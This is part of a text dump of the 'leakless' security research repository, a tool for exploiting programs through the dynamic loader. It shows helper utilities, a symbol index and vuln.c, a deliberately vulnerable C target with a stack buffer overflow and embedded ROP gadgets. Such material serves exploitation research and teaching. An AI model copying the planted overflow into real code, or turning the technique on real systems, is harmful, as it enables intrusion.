    return list[0] if len(list) > 0 else None

def log(string):
    if verbose:
        sys.stderr.write(string + "\n")

def chunks(l, n):
    for i in xrange(0, len(l), n):
        yield l[i:i+n]

def integer_to_bigendian(n):
    s = '%x' % n
    if len(s) & 1:
        s = '0' + s
    return s.decode('hex')

def bigendian_to_integer(string):
    return string.encode("hex")

def pairwise(iterable):
    "s -> (s0,s1), (s1,s2), (s2, s3), ..."
    a, b = itertools.tee(iterable)
    next(b, None)
    return itertools.izip(a, b)

def filter_none(list):
    return filter(lambda entry: entry is not None, list)

def insert_and_replace(original, insert, offset):
    return original[:offset] + insert + original[offset + len(insert):]


================================================
FILE: vuln.c
================================================
// Don't include unistd.h otherwise a secure version of read will be used
// #include <unistd.h>

// #include <alloca.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>

#if !defined(__x86_64__) && !defined(__i386__)
#  error "Unsupported architecture"
#endif

char put_me_in_bss[1024] = {0};

int play_with_stack(int i) {
  int *local = alloca(10);
  local[0] = 123;
  intptr_t memcpy_ptr = (intptr_t) memcpy;

  return local[i] + memcpy_ptr;
}

void add(int *a, int b) {
  *a += b;
}

void mem_to_mem(int *dst, int *src) {
  *dst = *src;
}

void writemem(void **in, void *val) {
  *in = val;
}

int do_read() {
  char buffer[100];
  read(0, buffer, 10000);
}

void deref_and_write_with_offset() {
#if defined(__x86_64__)
  __asm__("pop rax; pop rbx; pop rcx; mov rax,QWORD PTR [rax]; mov QWORD PTR [rax+rcx*1],rbx; ret;");
#elif defined(__i386__)
  __asm__("pop eax; pop ebx; pop ecx; mov eax,DWORD PTR [eax]; mov DWORD PTR [eax+ecx*1],ebx; ret;");
#endif
}

void deref_with_offset_and_save() {
#if defined(__x86_64__)
  __asm__("pop rax; pop rbx; pop rcx; mov rax, [rax]; mov rax,QWORD PTR [rax+rbx]; mov QWORD PTR [rcx],rax; ret;");
#elif defined(__i386__)
  __asm__("pop eax; pop ebx; pop ecx; mov eax, [eax]; mov eax,DWORD PTR [eax+ebx]; mov DWORD PTR [ecx],eax; ret;");
#endif
}

void copy_to_stack() {
#if defined(__x86_64__)
  __asm__("pop rbx; pop rcx; mov rbx, QWORD PTR [rbx]; mov QWORD PTR [rsp+rcx*1],rbx; ret;");
#elif defined(__i386__)
  __asm__("pop ebx; pop ecx; mov ebx, DWORD PTR [ebx]; mov DWORD PTR [esp+ecx*1],ebx; ret;");
#endif
}

void load_memcpy() {
#if defined(__x86_64__)
  __asm__("pop rsi; add rsi,rsp; ret;");
  __asm__("pop rax; add rsp,rax; ret;");
#elif defined(__i386__)
  __asm__("pop eax; pop esi; add esi,esp; mov DWORD PTR [esp+eax], esi; ret;");
  __asm__("pop ebx; add esp,ebx; ret;");
#endif
}

void args() {
#if defined(__x86_64__)
  __asm__("pop rdi; pop rsi; pop rdx; ret;");
#endif
}

int main() {
  do_read();
}
Download .txt
gitextract_1hr6vo3a/

├── .gitignore
├── CMakeLists.txt
├── README.md
├── exploit.py
├── memory.py
├── plugins/
│   ├── CommonGadgetsExploit.py
│   ├── RawDumperExploit.py
│   └── __init__.py
├── rangeset.py
├── utils.py
└── vuln.c
Download .txt
SYMBOL INDEX (122 symbols across 7 files)

FILE: exploit.py
  class Exploit (line 51) | class Exploit:
    method __init__ (line 56) | def __init__(self):
    method allocate_helpers (line 61) | def allocate_helpers(self, buffer):
    method add_gadget (line 64) | def add_gadget(self, architecture, name, info, gadget):
    method get_gadget (line 70) | def get_gadget(self, name):
    method config_from_elf (line 75) | def config_from_elf(self, path):
    method get_non_writeable_segment (line 213) | def get_non_writeable_segment(self, address):
    method read_non_writeable (line 221) | def read_non_writeable(self, address, size):
    method section_from_address (line 229) | def section_from_address(self, address):
    method closest_section_from_address (line 238) | def closest_section_from_address(self, address):
    method dump (line 245) | def dump(self):
    method ptr2str (line 253) | def ptr2str(self, integer):
    method str2ptr (line 261) | def str2ptr(self, string):
    method write_all (line 270) | def write_all(self, start, string):
    method flush (line 282) | def flush(self, buffer):
    method write_string (line 304) | def write_string(self, memory_area, string, buffered=True):
    method write_pointer (line 321) | def write_pointer(self, memory_area, pointer, buffered=True):
    method create_relocation (line 325) | def create_relocation(self, buffer, symbol_index, align_to=None):
  class CraftDlStructsExploit (line 348) | class CraftDlStructsExploit(Exploit):
    method jump_to (line 350) | def jump_to(self, buffer, function_name_max_length):
  class CorruptLdSoExploit (line 420) | class CorruptLdSoExploit(Exploit):
    method jump_to (line 422) | def jump_to(self, buffer, function_name_max_length):
  function launch (line 539) | def launch(exploit, program):
  function invoke (line 574) | def invoke(exploit, exploit_info, parameters):
  function main (line 622) | def main():

FILE: memory.py
  class AllocateFailException (line 5) | class AllocateFailException(Exception):
  class Buffer (line 8) | class Buffer:
    method __init__ (line 11) | def __init__(self, exploit, ranges):
    method allocate (line 19) | def allocate(self, size, align_to=None, alignment=None, name=None, con...
    method cleanup_ranges (line 52) | def cleanup_ranges(self):
    method dump (line 55) | def dump(self):
  class MemoryArea (line 61) | class MemoryArea:
    method __init__ (line 62) | def __init__(self, exploit, start, size, align_to=None, alignment=None):
    method dump (line 86) | def dump(self):

FILE: plugins/CommonGadgetsExploit.py
  class CommonGadgetsExploit (line 4) | class CommonGadgetsExploit(Exploit):
    method __init__ (line 7) | def __init__(self):
    method allocate_helpers (line 168) | def allocate_helpers(self, buffer):
    method deref_with_offset_and_save (line 178) | def deref_with_offset_and_save(self, pointer_address, offset, save_add...
    method write_with_offset (line 185) | def write_with_offset(self, pointer_address, offset, value):
    method copy_to_stack (line 191) | def copy_to_stack(self, offset, source):
    method call (line 207) | def call(self, invocation, parameters):
    method call32 (line 220) | def call32(self, invocation, parameters):
    method call64 (line 232) | def call64(self, invocation, parameters):
    method call_arm (line 264) | def call_arm(self, invocation, parameters):
    method do_writemem (line 288) | def do_writemem(self, address, value):
    method memcpy (line 304) | def memcpy(self, destination, data):
  function register_gadget_provider (line 346) | def register_gadget_provider():

FILE: plugins/RawDumperExploit.py
  class RawDumperExploit (line 3) | class RawDumperExploit(Exploit):
    method __init__ (line 4) | def __init__(self):
    method do_writemem (line 8) | def do_writemem(self, address, value):
    method write_with_offset (line 12) | def write_with_offset(self, pointer_address, offset, value):
    method deref_with_offset_and_save (line 15) | def deref_with_offset_and_save(self, pointer_address, offset, save_add...
  function register_gadget_provider (line 18) | def register_gadget_provider():

FILE: rangeset.py
  class _Indeterminate (line 41) | class _Indeterminate(object):
    method timetuple (line 42) | def timetuple(self):
    method __eq__ (line 44) | def __eq__(self, other):
  class _Infinity (line 47) | class _Infinity(_Indeterminate):
    method __lt__ (line 48) | def __lt__(self, other):
    method __gt__ (line 50) | def __gt__(self, other):
    method __str__ (line 52) | def __str__(self):
  class _NegativeInfinity (line 56) | class _NegativeInfinity(_Indeterminate):
    method __lt__ (line 57) | def __lt__(self, other):
    method __gt__ (line 59) | def __gt__(self, other):
    method __str__ (line 61) | def __str__(self):
  class RangeSet (line 68) | class RangeSet(_parent):
    method __new__ (line 69) | def __new__(cls, start, end):
    method __merged_ends (line 81) | def __merged_ends(self, *others):
    method __coerce (line 89) | def __coerce(cls, value):
    method __iterate_state (line 98) | def __iterate_state(cls, ends):
    method __or__ (line 107) | def __or__(self, *other):
    method __and__ (line 120) | def __and__(self, *other, **kwargs):
    method __ror__ (line 135) | def __ror__(self, other):
    method __rand__ (line 138) | def __rand__(self, other):
    method __rxor__ (line 141) | def __rxor__(self, other):
    method __xor__ (line 144) | def __xor__(self, *other):
    method __contains__ (line 161) | def __contains__(self, test):
    method issuperset (line 177) | def issuperset(self, test):
    method __gt__ (line 187) | def __gt__(self, other):
    method issubset (line 190) | def issubset(self, other):
    method __lt__ (line 195) | def __lt__(self, other):
    method isdisjoint (line 198) | def isdisjoint(self, other):
    method __nonzero__ (line 201) | def __nonzero__(self):
    method __invert__ (line 204) | def __invert__(self):
    method __sub__ (line 226) | def __sub__(self, other):
    method difference (line 229) | def difference(self, other):
    method __rsub__ (line 232) | def __rsub__(self, other):
    method measure (line 235) | def measure(self):
    method range (line 242) | def range(self):
    method __str__ (line 249) | def __str__(self):
    method __eq__ (line 256) | def __eq__(self, other):
    method __ne__ (line 266) | def __ne__(self, other):
    method __hash__ (line 269) | def __hash__(self):
    method mutual_overlaps (line 273) | def mutual_overlaps(cls, *ranges, **kwargs):
    method mutual_union (line 280) | def mutual_union(cls, *ranges):
    method min (line 284) | def min(self):
    method max (line 288) | def max(self):
    method __iter__ (line 291) | def __iter__(self):
  class LogicError (line 304) | class LogicError(ValueError):

FILE: utils.py
  function align (line 6) | def align(address, base, of):
  function hex_bytes (line 10) | def hex_bytes(string):
  function findall (line 13) | def findall(sub, string, addend):
  function find_all_strings (line 22) | def find_all_strings(sections, string):
  function find_string (line 26) | def find_string(sections, string):
  function first_or_none (line 30) | def first_or_none(list):
  function log (line 33) | def log(string):
  function chunks (line 37) | def chunks(l, n):
  function integer_to_bigendian (line 41) | def integer_to_bigendian(n):
  function bigendian_to_integer (line 47) | def bigendian_to_integer(string):
  function pairwise (line 50) | def pairwise(iterable):
  function filter_none (line 56) | def filter_none(list):
  function insert_and_replace (line 59) | def insert_and_replace(original, insert, offset):

FILE: vuln.c
  function play_with_stack (line 16) | int play_with_stack(int i) {
  function add (line 24) | void add(int *a, int b) {
  function mem_to_mem (line 28) | void mem_to_mem(int *dst, int *src) {
  function writemem (line 32) | void writemem(void **in, void *val) {
  function do_read (line 36) | int do_read() {
  function deref_and_write_with_offset (line 41) | void deref_and_write_with_offset() {
  function deref_with_offset_and_save (line 49) | void deref_with_offset_and_save() {
  function copy_to_stack (line 57) | void copy_to_stack() {
  function load_memcpy (line 65) | void load_memcpy() {
  function args (line 75) | void args() {
  function main (line 81) | int main() {
Condensed preview — 11 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (81K chars).
[
  {
    "path": ".gitignore",
    "chars": 30,
    "preview": "*.idb\n*.o\n*.pyc\n*.gdb_history\n"
  },
  {
    "path": "CMakeLists.txt",
    "chars": 4398,
    "preview": "cmake_minimum_required(VERSION 2.6)\nproject(leakless)\n\nset(VULN vuln.c)\nset(EXPLOIT exploit.py)\n\n# Compiler flags\n# ===="
  },
  {
    "path": "README.md",
    "chars": 4078,
    "preview": "How to test\n===========\n\n1. Build vuln.c\n\n        gcc -fno-stack-protector vuln.c -o /tmp/vuln -m32 -O2\n\n2. Find the off"
  },
  {
    "path": "exploit.py",
    "chars": 36043,
    "preview": "#!/usr/bin/env python\n\nimport os\nimport sys\nimport glob\nimport json\nimport argparse\nimport operator\nimport struct\nimport"
  },
  {
    "path": "memory.py",
    "chars": 4318,
    "preview": "from rangeset import RangeSet\n\nfrom utils import align, chunks, log\n\nclass AllocateFailException(Exception):\n    pass\n\nc"
  },
  {
    "path": "plugins/CommonGadgetsExploit.py",
    "chars": 15527,
    "preview": "from exploit import Exploit\nfrom utils import insert_and_replace\n\nclass CommonGadgetsExploit(Exploit):\n    \"\"\"Mainly add"
  },
  {
    "path": "plugins/RawDumperExploit.py",
    "chars": 711,
    "preview": "from exploit import Exploit\n\nclass RawDumperExploit(Exploit):\n    def __init__(self):\n        Exploit.__init__(self)\n   "
  },
  {
    "path": "plugins/__init__.py",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "rangeset.py",
    "chars": 9073,
    "preview": "\"\"\"\nThis module provides a RangeSet data structure. A range set is, as the\nname implies, a set of ranges. Intuitively, y"
  },
  {
    "path": "utils.py",
    "chars": 1626,
    "preview": "import itertools\nimport sys\n\nverbose = False\n\ndef align(address, base, of):\n    offset = (address - base) % of\n    retur"
  },
  {
    "path": "vuln.c",
    "chars": 1991,
    "preview": "// Don't include unistd.h otherwise a secure version of read will be used\n// #include <unistd.h>\n\n// #include <alloca.h>"
  }
]

About this extraction

This page contains the full source code of the ucsb-seclab/leakless GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 11 files (76.0 KB), approximately 19.4k tokens, and a symbol index with 122 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!